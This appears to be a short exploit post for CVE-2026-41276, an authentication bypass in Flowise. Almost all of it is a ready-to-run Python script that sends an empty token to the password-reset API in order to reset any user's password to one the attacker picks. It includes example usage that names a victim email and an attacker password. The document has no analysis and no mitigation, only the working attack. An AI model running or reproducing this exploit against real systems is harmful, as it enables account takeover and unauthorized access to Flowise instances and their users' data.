CVE-2026-41276 Flowise认证绕过漏洞

import requests def exploit_reset_password(target_url, target_email, new_password): """ Exploit for CVE-2026-41276: Flowise Authentication Bypass via Password Reset. The vulnerability allows resetting any user's password by sending an empty token. """ endpoint = f"{target_url}/api/v1/account/reset-password" headers = {"Content-Type": "application/json"} # Payload with empty token to bypass validation payload = { "email": target_email, "token": "", # Vulnerable point: null or empty string bypasses the check "password": new_password } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Successfully reset password for {target_email}") print(f"[+] New password is: {new_password}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": # Example usage target = "http://localhost:3000" victim_email = "[email protected]" attacker_pass = "Hacked123!" exploit_reset_password(target, victim_email, attacker_pass)